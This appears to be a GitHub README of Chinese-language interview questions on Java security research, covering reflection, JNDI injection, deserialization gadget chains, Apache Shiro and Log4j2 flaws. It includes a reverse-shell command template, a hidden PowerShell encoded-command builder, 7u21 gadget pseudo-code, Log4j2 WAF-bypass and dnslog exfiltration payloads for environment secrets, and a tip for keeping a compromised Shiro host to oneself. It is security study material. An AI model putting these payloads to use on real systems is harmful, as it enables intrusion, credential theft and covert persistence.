Skip to content

打造最强的Java安全研究与安全开发面试题库,帮助师傅们找到满意的工作

Notifications You must be signed in to change notification settings

cdhe/JavaSecInterview

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 

Repository files navigation

JavaSecInterview

介绍

这是什么:Java安全研究与安全开发面试题总结

为什么要做:帮助自己校招找到工作,同时帮助广大Java安全师傅顺利找到工作

项目目标:完全掌握本项目后进轻松大厂

计划定期更新,从基础到各种实战问题,打造齐全的Java安全面试题库

最低难度★ 最高难度★★★★★

作者技术水平水平,难免有错误之处,欢迎师傅们提出ISSUE和PR

JDK

  • Java反射做了什么事情(★)

反射是根据字节码获得类信息或调用方法。从开发者角度来讲,反射最大的意义是提高程序的灵活性。Java本身是静态语言,但反射特性允许运行时动态修改类定义和属性等,达到了静态的效果

  • Java反射可以修改Final字段嘛(★★)

可以做到,参考以下代码

field.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
field.set(null, newValue);
  • 传统的反射方法加入黑名单怎么绕(★★★)

可以使用的类和方法如下(参考三梦师傅)

ReflectUtil.forName
BytecodeDescriptor
ClassLoader.loadClass
sun.reflect.misc.MethodUtil
sun.reflect.misc.FieldUtil
sun.reflect.misc.ConstructorUtil
MethodAccessor.invoke
JSClassLoader.invoke
JSClassLoader.newInstance
  • Java中可以执行反弹shell的命令吗(★★)

可以执行,但需要对命令进行特殊处理。例如直接执行这样的命令:bash -i >& /dev/tcp/ip/port 0>&1会失败,简单来说因为>符号是重定向,如果命令中包含输入输出重定向和管道符,只有在bash下才可以,使用Java执行这样的命令会失败,所以需要加入Base64

bash -c {echo,base64的payload}|{base64,-d}|{bash,-i}

针对Powershell应该使用以下的命令

powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc 特殊的Base64

这个特殊的Base64和普通Base64不同,需要填充0,算法如下

public static String getPowershellCommand(String cmd) {
    char[] chars = cmd.toCharArray();
    List<Byte> temp = new ArrayList<>();
    for (char c : chars) {
        byte[] code = String.valueOf(c).getBytes(StandardCharsets.UTF_8);
        for (byte b : code) {
            temp.add(b);
        }
        temp.add((byte) 0);
    }
    byte[] result = new byte[temp.size()];
    for (int i = 0; i < temp.size(); i++) {
        result[i] = temp.get(i);
    }
    String data = Base64.getEncoder().encodeToString(result);
    String prefix = "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ";
    return prefix + data;
}
  • 假设Runtime.exec加入黑名单还有什么方式执行命令(★★)

其实这个问题有点类似JSP Webshell免杀

大致方法有这些:使用基本的反射,ProcessImpl和ProcessBuilde,JDNI和LDAP注入,TemplatesImpl,BCEL,BeansExpression,自定义ClassLoader,动态编译加载,ScriptEngine,反射调用一些native方法,各种EL(SPEL和Tomcat EL等)

  • RMI和LDAP类型的JNDI注入分别在哪个版本限制(★)

RMI的JNDI注入在8u121后限制,需要手动开启com.sun.jndi.rmi.object.trustURLCodebase属性

LDAP的JNDI注入在8u191后限制,需要开启com.sun.jndi.ldap.object.trustURLCodebase属性

  • RMI和LDAP的限制版本分别可以怎样绕过(★★)

RMI的限制是限制了远程的工厂类而不限制本地,所以用本地工厂类触发

通过org.apache.naming.factory.BeanFactory结合ELProcessor绕过

LDAP的限制中不对javaSerializedData验证,所以可以打本地gadget

  • 谈谈TemplatesImpl这个类(★★)

这个类本身是JDK中XML相关的类,但被很多Gadget拿来用

一般情况下加载字节码都需要使用到ClassLoader来做,其中最核心的defineClass方法只能通过反射来调用,所以实战可能比较局限。但JDK中有一个TemplatesImpl类,其中包含TransletClassLoader子类重写了defineClass所以允许TemplatesImpl类本身调用。TemplatesImpl其中有一个特殊字段_bytecodes是一个二维字节数组,是被加载的字节码

通过newTransformer可以达到defineClass方法加载字节码。而getOutputProperties方法(getter)中调用了newTransformer方法,也是一个利用链

TemplatesImpl.getOutputProperties()
	TemplatesImpl.newTransformer()
	TemplatesImpl.getTransletInstance()
	TemplatesImpl.defineTransletClasses()
	ClassLoader.defineClass()
	Class.newInstance()
  • 了解BCEL ClassLoader吗(★)

BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目

该类常常用于各种漏洞利用POC的构造,可以加载特殊的字符串所表示的字节码

但是在Java 8u251之后该类从JDK中移除

  • 谈谈7U21反序列化(★★★★★)

LinkedHashSet.readObject开始,找到父类HashSet.readObject方法,其中包含HashMap的类型转换以及HashMap.put方法,跟入HashMap.put其中对key与已有key进行equals判断,这个equals方法是触发后续利用链的关键。但equals方法的前置条件必须满足

if (e.hash == hash && ((k = e.key) == key || key.equals(k)))

所以这里需要用哈希碰撞,让下一个key的哈希值和前一个相等,才可进入第二个条件。而第二个条件中必须让前一个条件失败才可以进去equals方法,两个key对象不相同是显而易见的

接下来的任务是找到一处能触发equals方法的地方

反射创建AnnotationInvocationHandler对象,传入Templates类型和HashMap参数。再反射创建被该对象代理的新对象,根据动态代理技术,代理对象方法调用需要经过InvocationHandler.invoke方法,在AnnotationInvocationHandler这个InvocationHandlerinvoke方法实现中如果遇到equals方法,会进入equalsImpl方法,其中遍历了equals方法传入的参数TemplatesImpl的所有方法并反射调用,通过getOutputProperties方法最终加载字节码导致RCE

关于7U21的伪代码如下

Object templates = Gadgets.createTemplatesImpl();
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);
Templates proxy = (Templates) Proxy.newProxyInstance(exp.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler);
LinkedHashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);
map.put(zeroHashCodeStr, templates);
return set;

结合调用链

LinkedHashSet.readObject()
  LinkedHashSet.add()/HashMap.put()
      Proxy(Templates).equals()
        AnnotationInvocationHandler.invoke()
          AnnotationInvocationHandler.equalsImpl()
            Method.invoke()
              ...
                TemplatesImpl.getOutputProperties()

可以看到伪代码最后在mapput了某个元素,这是为了处理哈希碰撞的问题。TemplatesImpl没有重写hashcode直接调用Object的方法。而代理对象的hashcode方法也是会先进入invoke方法的,跟入hashCodeImpl方法看到是根据传入参数HashMap来做的,累加每一个Entrykeyvalue计算得出的hashcode。通过一些运算,可以找到符合条件的碰撞值

  • 谈谈8U20反序列化(★★★★★)

这是7U21修复的绕过(作者对该问题了解较浅,面试没有被问到过)

AnnotationInvocationHandler反序列化调用readObject方法中,对当前type进行了判断。之前POC中的Templates类型会导致抛出异常无法继续。使用BeanContextSupport绕过,在它的readObject方法中调用readChildren方法,其中有try-catch但没有抛出异常而是continue继续

所以这种情况下,就算之前的反序列化过程中出错,也会继续进行下去。但想要控制这种情况,不可以用正常序列化数据,需要自行构造畸形的序列化数据

  • 了解缩小反序列化Payload的手段吗(★★★)

首先最容易的方案是使用Javassist生成字节码,这种情况下生成的字节码较小。进一步可以用ASM删除所有的LineNumber指令,可以更小一步。最终手段可以分块发送多个Payload最后合并再用URLClassLoader加载

  • 待师傅们补充

Shiro

  • Shiro反序列化怎么检测key(★★★)

实例化一个SimplePrincipalCollection遍历key列表进行AES加密,然后加入到CookierememberMe字段中发送,如果响应头的Set-Cookie字段包含rememberMe=deleteMe说明不是该密钥,如果什么都不返回,说明当前key是正确的key。实际中可能需要多次这样的请求来确认key

  • Shiro 721怎么利用(★★)

需要用到Padding Oracle Attack技术,限制条件是需要已知合法用户的rememberMe且需要爆破较长的时间

  • 最新版Shiro还存在反序列化漏洞吗(★)

存在,如果密钥是常见的,还是有反序列化漏洞的可能性

  • Shiro反序列化Gadget选择有什么坑吗(★★★)

默认不包含CC链包含CB1链。用不同版本的CB1会导致出错,因为serialVersionUID 不一致

另一个CB1的坑是Comparator来自于CC,需要使用如下的

BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
  • Shiro注Tomcat内存马有什么坑吗(★★★★)

Shiro注内存马时候由于反序列化Payload过大会导致请求头过大报错

解决办法有两种:第一种是反射修改Tomcat配置里的请求头限制熟悉,但这个不靠谱,不同版本Tomcat可能修改方式不一致。另外一种更为通用的手段是打过去一个LoaderPayload加载请求Body里的字节码,将内存马字节码写入请求Body中。这种方式的缺点是依赖当前请求对象,更进一步可以写文件URLClassLoader加载

  • 有什么办法让Shiro洞只能被你一人发现(★★)

发现Shiro洞后,改了其中的key为非通用key。通过已经存在的反序列化可以执行代码,反射改了RememberMeManager中的key即可。但这样会导致已登录用户失效,新用户不影响

  • Shiro的权限绕过问题了解吗(★★)

主要是和Spring配合时候的问题,例如/;/test/admin/page问题,在Tomcat判断/;test/admin/page 为test应用下的/admin/page路由,进入到Shiro时被;截断被认作为/,再进入Spring时又被正确处理为test应用下的/admin/page路由,最后导致shiro的权限绕过。后一个修复绕过,是针对动态路由如/admin/{name}

Log4j2

  • 谈谈Log4j2漏洞(★★)

漏洞原理其实不难,简单来说就是对于${jndi:}格式的日志默认执行JndiLoop.loojup导致的RCE。有几处关键问题,首先日志的任何一部分插入${}都会进行递归处理,也就是说log.info/error/warn等方法如果日志内容可控,就会导致这个问题。这个漏洞本身不复杂,后续的一个绕过比较有趣

  • 知道Log4j2 2.15.0 RC1修复的绕过吗(★★★)

修复内容限制了协议和HOST以及类型,其中类型这个东西其实没用,协议的限制中包含了LDAP等于没限制。重点在于HOST的限制,只允许本地localhost和127.0.0.1等IP。但这里出现的问题是,加入了限制但没有捕获异常,如果产生异常会继续lookup所以如果在URL中加入一些特殊字符,例如空格,即可导致异常然后RCE

  • Log4j2的两个DOS CVE了解吗(★★)

其中一个DOS是lookup本身延迟等待和允许多个标签${}导致的问题

另一个DOS是嵌套标签${}导致栈溢出

  • Log4j2 2.15.0正式版的绕过了解吗(★★★)

正式版的修复只是在之前基础上捕获了异常。这个绕过本质还是绕HOST限制。使用127.0.0.1#evil.com即可绕过,需要服务端配置泛域名,所以#前的127.0.0.1会被认为是某个子域名,而本地解析认为这是127.0.0.1绕过了HOST的限制。但该RCE仅可以在MAC OS和部分Linux平台成功

  • Log4j2绕WAF的手段有哪些(★★)

使用类似${::-J}的方式做字符串的绕过,还可以结合upperlower标签进行嵌套

有一些特殊字符的情况结合大小写转换有巧妙的效果,还可以加入垃圾字符

例如:${jnd${upper:ı}:ldap://127.0.0.1:1389/Calc}

  • Log4j2除了RCE还有什么利用姿势(★★★)

利用其他的lookup可以做信息泄露例如${env:USER}${env:AWS_SECRET_ACCESS_KEY}

SpringBoot情况下可以使用bundle:application获得数据库密码等敏感信息

这些敏感信息可以利用dnslog外带${jndi:ldap://${java:version}.xxx.dnslog.cn}

About

打造最强的Java安全研究与安全开发面试题库,帮助师傅们找到满意的工作

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published